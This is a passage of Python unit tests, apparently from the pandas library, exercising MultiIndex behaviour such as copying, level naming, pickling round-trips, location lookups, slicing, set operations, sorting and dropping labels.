[0, 0]])\n\n # external API\n with tm.assertRaisesRegexp(ValueError, length_error):\n self.index.copy().set_levels([['a'], ['b']])\n\n with tm.assertRaisesRegexp(ValueError, label_error):\n self.index.copy().set_labels([[0, 0, 0, 0], [0, 0]])\n\n # deprecated properties\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n\n with tm.assertRaisesRegexp(ValueError, length_error):\n self.index.copy().levels = [['a'], ['b']]\n\n with tm.assertRaisesRegexp(ValueError, label_error):\n self.index.copy().labels = [[0, 0, 0, 0], [0, 0]]\n\n def assert_multiindex_copied(self, copy, original):\n # levels shoudl be (at least, shallow copied)\n assert_copy(copy.levels, original.levels)\n\n assert_almost_equal(copy.labels, original.labels)\n\n # labels doesn't matter which way copied\n assert_almost_equal(copy.labels, original.labels)\n self.assertIsNot(copy.labels, original.labels)\n\n # names doesn't matter which way copied\n self.assertEqual(copy.names, original.names)\n self.assertIsNot(copy.names, original.names)\n\n # sort order should be copied\n self.assertEqual(copy.sortorder, original.sortorder)\n\n def test_copy(self):\n i_copy = self.index.copy()\n\n self.assert_multiindex_copied(i_copy, self.index)\n\n def test_shallow_copy(self):\n i_copy = self.index._shallow_copy()\n\n self.assert_multiindex_copied(i_copy, self.index)\n\n def test_view(self):\n i_view = self.index.view()\n\n self.assert_multiindex_copied(i_view, self.index)\n\n def check_level_names(self, index, names):\n self.assertEqual([level.name for level in index.levels], list(names))\n\n def test_changing_names(self):\n\n # names should be applied to levels\n level_names = [level.name for level in self.index.levels]\n self.check_level_names(self.index, self.index.names)\n\n view = self.index.view()\n copy = self.index.copy()\n shallow_copy = self.index._shallow_copy()\n\n # changing names should change level names on object\n new_names = [name + \"a\" for name in self.index.names]\n self.index.names = new_names\n self.check_level_names(self.index, new_names)\n\n # but not on copies\n self.check_level_names(view, level_names)\n self.check_level_names(copy, level_names)\n self.check_level_names(shallow_copy, level_names)\n\n # and copies shouldn't change original\n shallow_copy.names = [name + \"c\" for name in shallow_copy.names]\n self.check_level_names(self.index, new_names)\n\n def test_duplicate_names(self):\n self.index.names = ['foo', 'foo']\n assertRaisesRegexp(KeyError, 'Level foo not found',\n self.index._get_level_number, 'foo')\n\n def test_get_level_number_integer(self):\n self.index.names = [1, 0]\n self.assertEqual(self.index._get_level_number(1), 0)\n self.assertEqual(self.index._get_level_number(0), 1)\n self.assertRaises(IndexError, self.index._get_level_number, 2)\n assertRaisesRegexp(KeyError, 'Level fourth not found',\n self.index._get_level_number, 'fourth')\n\n def test_from_arrays(self):\n arrays = []\n for lev, lab in zip(self.index.levels, self.index.labels):\n arrays.append(np.asarray(lev).take(lab))\n\n result = MultiIndex.from_arrays(arrays)\n self.assertEqual(list(result), list(self.index))\n\n # infer correctly\n result = MultiIndex.from_arrays([[pd.NaT, Timestamp('20130101')],\n ['a', 'b']])\n self.assertTrue(result.levels[0].equals(Index([Timestamp('20130101')\n ])))\n self.assertTrue(result.levels[1].equals(Index(['a', 'b'])))\n\n def test_from_product(self):\n\n first = ['foo', 'bar', 'buz']\n second = ['a', 'b', 'c']\n names = ['first', 'second']\n result = MultiIndex.from_product([first, second], names=names)\n\n tuples = [('foo', 'a'), ('foo', 'b'), ('foo', 'c'), ('bar', 'a'),\n ('bar', 'b'), ('bar', 'c'), ('buz', 'a'), ('buz', 'b'),\n ('buz', 'c')]\n expected = MultiIndex.from_tuples(tuples, names=names)\n\n tm.assert_numpy_array_equal(result, expected)\n self.assertEqual(result.names, names)\n\n def test_from_product_datetimeindex(self):\n dt_index = date_range('2000-01-01', periods=2)\n mi = pd.MultiIndex.from_product([[1, 2], dt_index])\n etalon = pd.lib.list_to_object_array([(1, pd.Timestamp(\n '2000-01-01')), (1, pd.Timestamp('2000-01-02')), (2, pd.Timestamp(\n '2000-01-01')), (2, pd.Timestamp('2000-01-02'))])\n tm.assert_numpy_array_equal(mi.values, etalon)\n\n def test_values_boxed(self):\n tuples = [(1, pd.Timestamp('2000-01-01')), (2, pd.NaT),\n (3, pd.Timestamp('2000-01-03')),\n (1, pd.Timestamp('2000-01-04')),\n (2, pd.Timestamp('2000-01-02')),\n (3, pd.Timestamp('2000-01-03'))]\n mi = pd.MultiIndex.from_tuples(tuples)\n tm.assert_numpy_array_equal(mi.values,\n pd.lib.list_to_object_array(tuples))\n # Check that code branches for boxed values produce identical results\n tm.assert_numpy_array_equal(mi.values[:4], mi[:4].values)\n\n def test_append(self):\n result = self.index[:3].append(self.index[3:])\n self.assertTrue(result.equals(self.index))\n\n foos = [self.index[:1], self.index[1:3], self.index[3:]]\n result = foos[0].append(foos[1:])\n self.assertTrue(result.equals(self.index))\n\n # empty\n result = self.index.append([])\n self.assertTrue(result.equals(self.index))\n\n def test_get_level_values(self):\n result = self.index.get_level_values(0)\n expected = ['foo', 'foo', 'bar', 'baz', 'qux', 'qux']\n tm.assert_numpy_array_equal(result, expected)\n\n self.assertEqual(result.name, 'first')\n\n result = self.index.get_level_values('first')\n expected = self.index.get_level_values(0)\n tm.assert_numpy_array_equal(result, expected)\n\n # GH 10460\n index = MultiIndex(levels=[CategoricalIndex(\n ['A', 'B']), CategoricalIndex([1, 2, 3])], labels=[np.array(\n [0, 0, 0, 1, 1, 1]), np.array([0, 1, 2, 0, 1, 2])])\n exp = CategoricalIndex(['A', 'A', 'A', 'B', 'B', 'B'])\n self.assert_index_equal(index.get_level_values(0), exp)\n exp = CategoricalIndex([1, 2, 3, 1, 2, 3])\n self.assert_index_equal(index.get_level_values(1), exp)\n\n def test_get_level_values_na(self):\n arrays = [['a', 'b', 'b'], [1, np.nan, 2]]\n index = pd.MultiIndex.from_arrays(arrays)\n values = index.get_level_values(1)\n expected = [1, np.nan, 2]\n tm.assert_numpy_array_equal(values.values.astype(float), expected)\n\n arrays = [['a', 'b', 'b'], [np.nan, np.nan, 2]]\n index = pd.MultiIndex.from_arrays(arrays)\n values = index.get_level_values(1)\n expected = [np.nan, np.nan, 2]\n tm.assert_numpy_array_equal(values.values.astype(float), expected)\n\n arrays = [[np.nan, np.nan, np.nan], ['a', np.nan, 1]]\n index = pd.MultiIndex.from_arrays(arrays)\n values = index.get_level_values(0)\n expected = [np.nan, np.nan, np.nan]\n tm.assert_numpy_array_equal(values.values.astype(float), expected)\n values = index.get_level_values(1)\n expected = np.array(['a', np.nan, 1], dtype=object)\n tm.assert_numpy_array_equal(values.values, expected)\n\n arrays = [['a', 'b', 'b'], pd.DatetimeIndex([0, 1, pd.NaT])]\n index = pd.MultiIndex.from_arrays(arrays)\n values = index.get_level_values(1)\n expected = pd.DatetimeIndex([0, 1, pd.NaT])\n tm.assert_numpy_array_equal(values.values, expected.values)\n\n arrays = [[], []]\n index = pd.MultiIndex.from_arrays(arrays)\n values = index.get_level_values(0)\n self.assertEqual(values.shape, (0, ))\n\n def test_reorder_levels(self):\n # this blows up\n assertRaisesRegexp(IndexError, '^Too many levels',\n self.index.reorder_levels, [2, 1, 0])\n\n def test_nlevels(self):\n self.assertEqual(self.index.nlevels, 2)\n\n def test_iter(self):\n result = list(self.index)\n expected = [('foo', 'one'), ('foo', 'two'), ('bar', 'one'),\n ('baz', 'two'), ('qux', 'one'), ('qux', 'two')]\n self.assertEqual(result, expected)\n\n def test_legacy_pickle(self):\n if PY3:\n raise nose.SkipTest(\"testing for legacy pickles not \"\n \"support on py3\")\n\n path = tm.get_data_path('multiindex_v1.pickle')\n obj = pd.read_pickle(path)\n\n obj2 = MultiIndex.from_tuples(obj.values)\n self.assertTrue(obj.equals(obj2))\n\n res = obj.get_indexer(obj)\n exp = np.arange(len(obj))\n assert_almost_equal(res, exp)\n\n res = obj.get_indexer(obj2[::-1])\n exp = obj.get_indexer(obj[::-1])\n exp2 = obj2.get_indexer(obj2[::-1])\n assert_almost_equal(res, exp)\n assert_almost_equal(exp, exp2)\n\n def test_legacy_v2_unpickle(self):\n\n # 0.7.3 -> 0.8.0 format manage\n path = tm.get_data_path('mindex_073.pickle')\n obj = pd.read_pickle(path)\n\n obj2 = MultiIndex.from_tuples(obj.values)\n self.assertTrue(obj.equals(obj2))\n\n res = obj.get_indexer(obj)\n exp = np.arange(len(obj))\n assert_almost_equal(res, exp)\n\n res = obj.get_indexer(obj2[::-1])\n exp = obj.get_indexer(obj[::-1])\n exp2 = obj2.get_indexer(obj2[::-1])\n assert_almost_equal(res, exp)\n assert_almost_equal(exp, exp2)\n\n def test_roundtrip_pickle_with_tz(self):\n\n # GH 8367\n # round-trip of timezone\n index = MultiIndex.from_product(\n [[1, 2], ['a', 'b'], date_range('20130101', periods=3,\n tz='US/Eastern')\n ], names=['one', 'two', 'three'])\n unpickled = self.round_trip_pickle(index)\n self.assertTrue(index.equal_levels(unpickled))\n\n def test_from_tuples_index_values(self):\n result = MultiIndex.from_tuples(self.index)\n self.assertTrue((result.values == self.index.values).all())\n\n def test_contains(self):\n self.assertIn(('foo', 'two'), self.index)\n self.assertNotIn(('bar', 'two'), self.index)\n self.assertNotIn(None, self.index)\n\n def test_is_all_dates(self):\n self.assertFalse(self.index.is_all_dates)\n\n def test_is_numeric(self):\n # MultiIndex is never numeric\n self.assertFalse(self.index.is_numeric())\n\n def test_getitem(self):\n # scalar\n self.assertEqual(self.index[2], ('bar', 'one'))\n\n # slice\n result = self.index[2:5]\n expected = self.index[[2, 3, 4]]\n self.assertTrue(result.equals(expected))\n\n # boolean\n result = self.index[[True, False, True, False, True, True]]\n result2 = self.index[np.array([True, False, True, False, True, True])]\n expected = self.index[[0, 2, 4, 5]]\n self.assertTrue(result.equals(expected))\n self.assertTrue(result2.equals(expected))\n\n def test_getitem_group_select(self):\n sorted_idx, _ = self.index.sortlevel(0)\n self.assertEqual(sorted_idx.get_loc('baz'), slice(3, 4))\n self.assertEqual(sorted_idx.get_loc('foo'), slice(0, 2))\n\n def test_get_loc(self):\n self.assertEqual(self.index.get_loc(('foo', 'two')), 1)\n self.assertEqual(self.index.get_loc(('baz', 'two')), 3)\n self.assertRaises(KeyError, self.index.get_loc, ('bar', 'two'))\n self.assertRaises(KeyError, self.index.get_loc, 'quux')\n\n self.assertRaises(NotImplementedError, self.index.get_loc, 'foo',\n method='nearest')\n\n # 3 levels\n index = MultiIndex(levels=[Index(lrange(4)), Index(lrange(4)), Index(\n lrange(4))], labels=[np.array([0, 0, 1, 2, 2, 2, 3, 3]), np.array(\n [0, 1, 0, 0, 0, 1, 0, 1]), np.array([1, 0, 1, 1, 0, 0, 1, 0])])\n self.assertRaises(KeyError, index.get_loc, (1, 1))\n self.assertEqual(index.get_loc((2, 0)), slice(3, 5))\n\n def test_get_loc_duplicates(self):\n index = Index([2, 2, 2, 2])\n result = index.get_loc(2)\n expected = slice(0, 4)\n self.assertEqual(result, expected)\n # self.assertRaises(Exception, index.get_loc, 2)\n\n index = Index(['c', 'a', 'a', 'b', 'b'])\n rs = index.get_loc('c')\n xp = 0\n assert (rs == xp)\n\n def test_get_loc_level(self):\n index = MultiIndex(levels=[Index(lrange(4)), Index(lrange(4)), Index(\n lrange(4))], labels=[np.array([0, 0, 1, 2, 2, 2, 3, 3]), np.array(\n [0, 1, 0, 0, 0, 1, 0, 1]), np.array([1, 0, 1, 1, 0, 0, 1, 0])])\n\n loc, new_index = index.get_loc_level((0, 1))\n expected = slice(1, 2)\n exp_index = index[expected].droplevel(0).droplevel(0)\n self.assertEqual(loc, expected)\n self.assertTrue(new_index.equals(exp_index))\n\n loc, new_index = index.get_loc_level((0, 1, 0))\n expected = 1\n self.assertEqual(loc, expected)\n self.assertIsNone(new_index)\n\n self.assertRaises(KeyError, index.get_loc_level, (2, 2))\n\n index = MultiIndex(levels=[[2000], lrange(4)], labels=[np.array(\n [0, 0, 0, 0]), np.array([0, 1, 2, 3])])\n result, new_index = index.get_loc_level((2000, slice(None, None)))\n expected = slice(None, None)\n self.assertEqual(result, expected)\n self.assertTrue(new_index.equals(index.droplevel(0)))\n\n def test_slice_locs(self):\n df = tm.makeTimeDataFrame()\n stacked = df.stack()\n idx = stacked.index\n\n slob = slice(*idx.slice_locs(df.index[5], df.index[15]))\n sliced = stacked[slob]\n expected = df[5:16].stack()\n tm.assert_almost_equal(sliced.values, expected.values)\n\n slob = slice(*idx.slice_locs(df.index[5] + timedelta(seconds=30),\n df.index[15] - timedelta(seconds=30)))\n sliced = stacked[slob]\n expected = df[6:15].stack()\n tm.assert_almost_equal(sliced.values, expected.values)\n\n def test_slice_locs_with_type_mismatch(self):\n df = tm.makeTimeDataFrame()\n stacked = df.stack()\n idx = stacked.index\n assertRaisesRegexp(TypeError, '^Level type mismatch', idx.slice_locs,\n (1, 3))\n assertRaisesRegexp(TypeError, '^Level type mismatch', idx.slice_locs,\n df.index[5] + timedelta(seconds=30), (5, 2))\n df = tm.makeCustomDataframe(5, 5)\n stacked = df.stack()\n idx = stacked.index\n with assertRaisesRegexp(TypeError, '^Level type mismatch'):\n idx.slice_locs(timedelta(seconds=30))\n # TODO: Try creating a UnicodeDecodeError in exception message\n with assertRaisesRegexp(TypeError, '^Level type mismatch'):\n idx.slice_locs(df.index[1], (16, \"a\"))\n\n def test_slice_locs_not_sorted(self):\n index = MultiIndex(levels=[Index(lrange(4)), Index(lrange(4)), Index(\n lrange(4))], labels=[np.array([0, 0, 1, 2, 2, 2, 3, 3]), np.array(\n [0, 1, 0, 0, 0, 1, 0, 1]), np.array([1, 0, 1, 1, 0, 0, 1, 0])])\n\n assertRaisesRegexp(KeyError, \"[Kk]ey length.*greater than MultiIndex\"\n \" lexsort depth\", index.slice_locs, (1, 0, 1),\n (2, 1, 0))\n\n # works\n sorted_index, _ = index.sortlevel(0)\n # should there be a test case here???\n sorted_index.slice_locs((1, 0, 1), (2, 1, 0))\n\n def test_slice_locs_partial(self):\n sorted_idx, _ = self.index.sortlevel(0)\n\n result = sorted_idx.slice_locs(('foo', 'two'), ('qux', 'one'))\n self.assertEqual(result, (1, 5))\n\n result = sorted_idx.slice_locs(None, ('qux', 'one'))\n self.assertEqual(result, (0, 5))\n\n result = sorted_idx.slice_locs(('foo', 'two'), None)\n self.assertEqual(result, (1, len(sorted_idx)))\n\n result = sorted_idx.slice_locs('bar', 'baz')\n self.assertEqual(result, (2, 4))\n\n def test_slice_locs_not_contained(self):\n # some searchsorted action\n\n index = MultiIndex(levels=[[0, 2, 4, 6], [0, 2, 4]],\n labels=[[0, 0, 0, 1, 1, 2, 3, 3, 3],\n [0, 1, 2, 1, 2, 2, 0, 1, 2]], sortorder=0)\n\n result = index.slice_locs((1, 0), (5, 2))\n self.assertEqual(result, (3, 6))\n\n result = index.slice_locs(1, 5)\n self.assertEqual(result, (3, 6))\n\n result = index.slice_locs((2, 2), (5, 2))\n self.assertEqual(result, (3, 6))\n\n result = index.slice_locs(2, 5)\n self.assertEqual(result, (3, 6))\n\n result = index.slice_locs((1, 0), (6, 3))\n self.assertEqual(result, (3, 8))\n\n result = index.slice_locs(-1, 10)\n self.assertEqual(result, (0, len(index)))\n\n def test_consistency(self):\n # need to construct an overflow\n major_axis = lrange(70000)\n minor_axis = lrange(10)\n\n major_labels = np.arange(70000)\n minor_labels = np.repeat(lrange(10), 7000)\n\n # the fact that is works means it's consistent\n index = MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels])\n\n # inconsistent\n major_labels = np.array([0, 0, 1, 1, 1, 2, 2, 3, 3])\n minor_labels = np.array([0, 1, 0, 1, 1, 0, 1, 0, 1])\n index = MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels])\n\n self.assertFalse(index.is_unique)\n\n def test_truncate(self):\n major_axis = Index(lrange(4))\n minor_axis = Index(lrange(2))\n\n major_labels = np.array([0, 0, 1, 2, 3, 3])\n minor_labels = np.array([0, 1, 0, 1, 0, 1])\n\n index = MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels])\n\n result = index.truncate(before=1)\n self.assertNotIn('foo', result.levels[0])\n self.assertIn(1, result.levels[0])\n\n result = index.truncate(after=1)\n self.assertNotIn(2, result.levels[0])\n self.assertIn(1, result.levels[0])\n\n result = index.truncate(before=1, after=2)\n self.assertEqual(len(result.levels[0]), 2)\n\n # after < before\n self.assertRaises(ValueError, index.truncate, 3, 1)\n\n def test_get_indexer(self):\n major_axis = Index(lrange(4))\n minor_axis = Index(lrange(2))\n\n major_labels = np.array([0, 0, 1, 2, 2, 3, 3])\n minor_labels = np.array([0, 1, 0, 0, 1, 0, 1])\n\n index = MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels])\n idx1 = index[:5]\n idx2 = index[[1, 3, 5]]\n\n r1 = idx1.get_indexer(idx2)\n assert_almost_equal(r1, [1, 3, -1])\n\n r1 = idx2.get_indexer(idx1, method='pad')\n e1 = [-1, 0, 0, 1, 1]\n assert_almost_equal(r1, e1)\n\n r2 = idx2.get_indexer(idx1[::-1], method='pad')\n assert_almost_equal(r2, e1[::-1])\n\n rffill1 = idx2.get_indexer(idx1, method='ffill')\n assert_almost_equal(r1, rffill1)\n\n r1 = idx2.get_indexer(idx1, method='backfill')\n e1 = [0, 0, 1, 1, 2]\n assert_almost_equal(r1, e1)\n\n r2 = idx2.get_indexer(idx1[::-1], method='backfill')\n assert_almost_equal(r2, e1[::-1])\n\n rbfill1 = idx2.get_indexer(idx1, method='bfill')\n assert_almost_equal(r1, rbfill1)\n\n # pass non-MultiIndex\n r1 = idx1.get_indexer(idx2._tuple_index)\n rexp1 = idx1.get_indexer(idx2)\n assert_almost_equal(r1, rexp1)\n\n r1 = idx1.get_indexer([1, 2, 3])\n self.assertTrue((r1 == [-1, -1, -1]).all())\n\n # create index with duplicates\n idx1 = Index(lrange(10) + lrange(10))\n idx2 = Index(lrange(20))\n assertRaisesRegexp(InvalidIndexError, \"Reindexing only valid with\"\n \" uniquely valued Index objects\", idx1.get_indexer,\n idx2)\n\n def test_get_indexer_nearest(self):\n midx = MultiIndex.from_tuples([('a', 1), ('b', 2)])\n with tm.assertRaises(NotImplementedError):\n midx.get_indexer(['a'], method='nearest')\n with tm.assertRaises(NotImplementedError):\n midx.get_indexer(['a'], method='pad', tolerance=2)\n\n def test_format(self):\n self.index.format()\n self.index[:0].format()\n\n def test_format_integer_names(self):\n index = MultiIndex(levels=[[0, 1], [0, 1]],\n labels=[[0, 0, 1, 1], [0, 1, 0, 1]], names=[0, 1])\n index.format(names=True)\n\n def test_format_sparse_display(self):\n index = MultiIndex(levels=[[0, 1], [0, 1], [0, 1], [0]],\n labels=[[0, 0, 0, 1, 1, 1], [0, 0, 1, 0, 0, 1],\n [0, 1, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0]])\n\n result = index.format()\n self.assertEqual(result[3], '1 0 0 0')\n\n def test_format_sparse_config(self):\n warn_filters = warnings.filters\n warnings.filterwarnings('ignore', category=FutureWarning,\n module=\".*format\")\n # GH1538\n pd.set_option('display.multi_sparse', False)\n\n result = self.index.format()\n self.assertEqual(result[1], 'foo two')\n\n self.reset_display_options()\n\n warnings.filters = warn_filters\n\n def test_to_hierarchical(self):\n index = MultiIndex.from_tuples([(1, 'one'), (1, 'two'), (2, 'one'), (\n 2, 'two')])\n result = index.to_hierarchical(3)\n expected = MultiIndex(levels=[[1, 2], ['one', 'two']],\n labels=[[0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1],\n [0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1]])\n tm.assert_index_equal(result, expected)\n self.assertEqual(result.names, index.names)\n\n # K > 1\n result = index.to_hierarchical(3, 2)\n expected = MultiIndex(levels=[[1, 2], ['one', 'two']],\n labels=[[0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1],\n [0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1]])\n tm.assert_index_equal(result, expected)\n self.assertEqual(result.names, index.names)\n\n # non-sorted\n index = MultiIndex.from_tuples([(2, 'c'), (1, 'b'),\n (2, 'a'), (2, 'b')],\n names=['N1', 'N2'])\n\n result = index.to_hierarchical(2)\n expected = MultiIndex.from_tuples([(2, 'c'), (2, 'c'), (1, 'b'),\n (1, 'b'),\n (2, 'a'), (2, 'a'),\n (2, 'b'), (2, 'b')],\n names=['N1', 'N2'])\n tm.assert_index_equal(result, expected)\n self.assertEqual(result.names, index.names)\n\n def test_bounds(self):\n self.index._bounds\n\n def test_equals(self):\n self.assertTrue(self.index.equals(self.index))\n self.assertTrue(self.index.equal_levels(self.index))\n\n self.assertFalse(self.index.equals(self.index[:-1]))\n\n self.assertTrue(self.index.equals(self.index._tuple_index))\n\n # different number of levels\n index = MultiIndex(levels=[Index(lrange(4)), Index(lrange(4)), Index(\n lrange(4))], labels=[np.array([0, 0, 1, 2, 2, 2, 3, 3]), np.array(\n [0, 1, 0, 0, 0, 1, 0, 1]), np.array([1, 0, 1, 1, 0, 0, 1, 0])])\n\n index2 = MultiIndex(levels=index.levels[:-1], labels=index.labels[:-1])\n self.assertFalse(index.equals(index2))\n self.assertFalse(index.equal_levels(index2))\n\n # levels are different\n major_axis = Index(lrange(4))\n minor_axis = Index(lrange(2))\n\n major_labels = np.array([0, 0, 1, 2, 2, 3])\n minor_labels = np.array([0, 1, 0, 0, 1, 0])\n\n index = MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels])\n self.assertFalse(self.index.equals(index))\n self.assertFalse(self.index.equal_levels(index))\n\n # some of the labels are different\n major_axis = Index(['foo', 'bar', 'baz', 'qux'])\n minor_axis = Index(['one', 'two'])\n\n major_labels = np.array([0, 0, 2, 2, 3, 3])\n minor_labels = np.array([0, 1, 0, 1, 0, 1])\n\n index = MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels])\n self.assertFalse(self.index.equals(index))\n\n def test_identical(self):\n mi = self.index.copy()\n mi2 = self.index.copy()\n self.assertTrue(mi.identical(mi2))\n\n mi = mi.set_names(['new1', 'new2'])\n self.assertTrue(mi.equals(mi2))\n self.assertFalse(mi.identical(mi2))\n\n mi2 = mi2.set_names(['new1', 'new2'])\n self.assertTrue(mi.identical(mi2))\n\n mi3 = Index(mi.tolist(), names=mi.names)\n mi4 = Index(mi.tolist(), names=mi.names, tupleize_cols=False)\n self.assertTrue(mi.identical(mi3))\n self.assertFalse(mi.identical(mi4))\n self.assertTrue(mi.equals(mi4))\n\n def test_is_(self):\n mi = MultiIndex.from_tuples(lzip(range(10), range(10)))\n self.assertTrue(mi.is_(mi))\n self.assertTrue(mi.is_(mi.view()))\n self.assertTrue(mi.is_(mi.view().view().view().view()))\n mi2 = mi.view()\n # names are metadata, they don't change id\n mi2.names = [\"A\", \"B\"]\n self.assertTrue(mi2.is_(mi))\n self.assertTrue(mi.is_(mi2))\n\n self.assertTrue(mi.is_(mi.set_names([\"C\", \"D\"])))\n mi2 = mi.view()\n mi2.set_names([\"E\", \"F\"], inplace=True)\n self.assertTrue(mi.is_(mi2))\n # levels are inherent properties, they change identity\n mi3 = mi2.set_levels([lrange(10), lrange(10)])\n self.assertFalse(mi3.is_(mi2))\n # shouldn't change\n self.assertTrue(mi2.is_(mi))\n mi4 = mi3.view()\n mi4.set_levels([[1 for _ in range(10)], lrange(10)], inplace=True)\n self.assertFalse(mi4.is_(mi3))\n mi5 = mi.view()\n mi5.set_levels(mi5.levels, inplace=True)\n self.assertFalse(mi5.is_(mi))\n\n def test_union(self):\n piece1 = self.index[:5][::-1]\n piece2 = self.index[3:]\n\n the_union = piece1 | piece2\n\n tups = sorted(self.index._tuple_index)\n expected = MultiIndex.from_tuples(tups)\n\n self.assertTrue(the_union.equals(expected))\n\n # corner case, pass self or empty thing:\n the_union = self.index.union(self.index)\n self.assertIs(the_union, self.index)\n\n the_union = self.index.union(self.index[:0])\n self.assertIs(the_union, self.index)\n\n # won't work in python 3\n # tuples = self.index._tuple_index\n # result = self.index[:4] | tuples[4:]\n # self.assertTrue(result.equals(tuples))\n\n # not valid for python 3\n # def test_union_with_regular_index(self):\n # other = Index(['A', 'B', 'C'])\n\n # result = other.union(self.index)\n # self.assertIn(('foo', 'one'), result)\n # self.assertIn('B', result)\n\n # result2 = self.index.union(other)\n # self.assertTrue(result.equals(result2))\n\n def test_intersection(self):\n piece1 = self.index[:5][::-1]\n piece2 = self.index[3:]\n\n the_int = piece1 & piece2\n tups = sorted(self.index[3:5]._tuple_index)\n expected = MultiIndex.from_tuples(tups)\n self.assertTrue(the_int.equals(expected))\n\n # corner case, pass self\n the_int = self.index.intersection(self.index)\n self.assertIs(the_int, self.index)\n\n # empty intersection: disjoint\n empty = self.index[:2] & self.index[2:]\n expected = self.index[:0]\n self.assertTrue(empty.equals(expected))\n\n # can't do in python 3\n # tuples = self.index._tuple_index\n # result = self.index & tuples\n # self.assertTrue(result.equals(tuples))\n\n def test_difference(self):\n\n first = self.index\n result = first.difference(self.index[-3:])\n\n # - API change GH 8226\n with tm.assert_produces_warning():\n first - self.index[-3:]\n with tm.assert_produces_warning():\n self.index[-3:] - first\n with tm.assert_produces_warning():\n self.index[-3:] - first.tolist()\n\n self.assertRaises(TypeError, lambda: first.tolist() - self.index[-3:])\n\n expected = MultiIndex.from_tuples(sorted(self.index[:-3].values),\n sortorder=0,\n names=self.index.names)\n\n tm.assertIsInstance(result, MultiIndex)\n self.assertTrue(result.equals(expected))\n self.assertEqual(result.names, self.index.names)\n\n # empty difference: reflexive\n result = self.index.difference(self.index)\n expected = self.index[:0]\n self.assertTrue(result.equals(expected))\n self.assertEqual(result.names, self.index.names)\n\n # empty difference: superset\n result = self.index[-3:].difference(self.index)\n expected = self.index[:0]\n self.assertTrue(result.equals(expected))\n self.assertEqual(result.names, self.index.names)\n\n # empty difference: degenerate\n result = self.index[:0].difference(self.index)\n expected = self.index[:0]\n self.assertTrue(result.equals(expected))\n self.assertEqual(result.names, self.index.names)\n\n # names not the same\n chunklet = self.index[-3:]\n chunklet.names = ['foo', 'baz']\n result = first.difference(chunklet)\n self.assertEqual(result.names, (None, None))\n\n # empty, but non-equal\n result = self.index.difference(self.index.sortlevel(1)[0])\n self.assertEqual(len(result), 0)\n\n # raise Exception called with non-MultiIndex\n result = first.difference(first._tuple_index)\n self.assertTrue(result.equals(first[:0]))\n\n # name from empty array\n result = first.difference([])\n self.assertTrue(first.equals(result))\n self.assertEqual(first.names, result.names)\n\n # name from non-empty array\n result = first.difference([('foo', 'one')])\n expected = pd.MultiIndex.from_tuples([('bar', 'one'), ('baz', 'two'), (\n 'foo', 'two'), ('qux', 'one'), ('qux', 'two')])\n expected.names = first.names\n self.assertEqual(first.names, result.names)\n assertRaisesRegexp(TypeError, \"other must be a MultiIndex or a list\"\n \" of tuples\", first.difference, [1, 2, 3, 4, 5])\n\n def test_from_tuples(self):\n assertRaisesRegexp(TypeError, 'Cannot infer number of levels from'\n ' empty list', MultiIndex.from_tuples, [])\n\n idx = MultiIndex.from_tuples(((1, 2), (3, 4)), names=['a', 'b'])\n self.assertEqual(len(idx), 2)\n\n def test_argsort(self):\n result = self.index.argsort()\n expected = self.index._tuple_index.argsort()\n tm.assert_numpy_array_equal(result, expected)\n\n def test_sortlevel(self):\n import random\n\n tuples = list(self.index)\n random.shuffle(tuples)\n\n index = MultiIndex.from_tuples(tuples)\n\n sorted_idx, _ = index.sortlevel(0)\n expected = MultiIndex.from_tuples(sorted(tuples))\n self.assertTrue(sorted_idx.equals(expected))\n\n sorted_idx, _ = index.sortlevel(0, ascending=False)\n self.assertTrue(sorted_idx.equals(expected[::-1]))\n\n sorted_idx, _ = index.sortlevel(1)\n by1 = sorted(tuples, key=lambda x: (x[1], x[0]))\n expected = MultiIndex.from_tuples(by1)\n self.assertTrue(sorted_idx.equals(expected))\n\n sorted_idx, _ = index.sortlevel(1, ascending=False)\n self.assertTrue(sorted_idx.equals(expected[::-1]))\n\n def test_sortlevel_not_sort_remaining(self):\n mi = MultiIndex.from_tuples([[1, 1, 3], [1, 1, 1]], names=list('ABC'))\n sorted_idx, _ = mi.sortlevel('A', sort_remaining=False)\n self.assertTrue(sorted_idx.equals(mi))\n\n def test_sortlevel_deterministic(self):\n tuples = [('bar', 'one'), ('foo', 'two'), ('qux', 'two'),\n ('foo', 'one'), ('baz', 'two'), ('qux', 'one')]\n\n index = MultiIndex.from_tuples(tuples)\n\n sorted_idx, _ = index.sortlevel(0)\n expected = MultiIndex.from_tuples(sorted(tuples))\n self.assertTrue(sorted_idx.equals(expected))\n\n sorted_idx, _ = index.sortlevel(0, ascending=False)\n self.assertTrue(sorted_idx.equals(expected[::-1]))\n\n sorted_idx, _ = index.sortlevel(1)\n by1 = sorted(tuples, key=lambda x: (x[1], x[0]))\n expected = MultiIndex.from_tuples(by1)\n self.assertTrue(sorted_idx.equals(expected))\n\n sorted_idx, _ = index.sortlevel(1, ascending=False)\n self.assertTrue(sorted_idx.equals(expected[::-1]))\n\n def test_dims(self):\n pass\n\n def test_drop(self):\n dropped = self.index.drop([('foo', 'two'), ('qux', 'one')])\n\n index = MultiIndex.from_tuples([('foo', 'two'), ('qux', 'one')])\n dropped2 = self.index.drop(index)\n\n expected = self.index[[0, 2, 3, 5]]\n self.assert_index_equal(dropped, expected)\n self.assert_index_equal(dropped2, expected)\n\n dropped = self.index.drop(['bar'])\n expected = self.index[[0, 1, 3, 4, 5]]\n self.assert_index_equal(dropped, expected)\n\n dropped = self.index.drop('foo')\n expected = self.index[[2, 3, 4, 5]]\n self.assert_index_equal(dropped, expected)\n\n index = MultiIndex.from_tuples([('bar', 'two')])\n self.assertRaises(KeyError, self.index.drop, [('bar', 'two')])\n self.assertRaises(KeyError, self.index.drop, index)\n self.assertRaises(KeyError, self.index.drop, ['foo', 'two'])\n\n # partially correct argument\n mixed_index = MultiIndex.from_tuples([('qux', 'one'), ('bar', 'two')])\n self.assertRaises(KeyError, 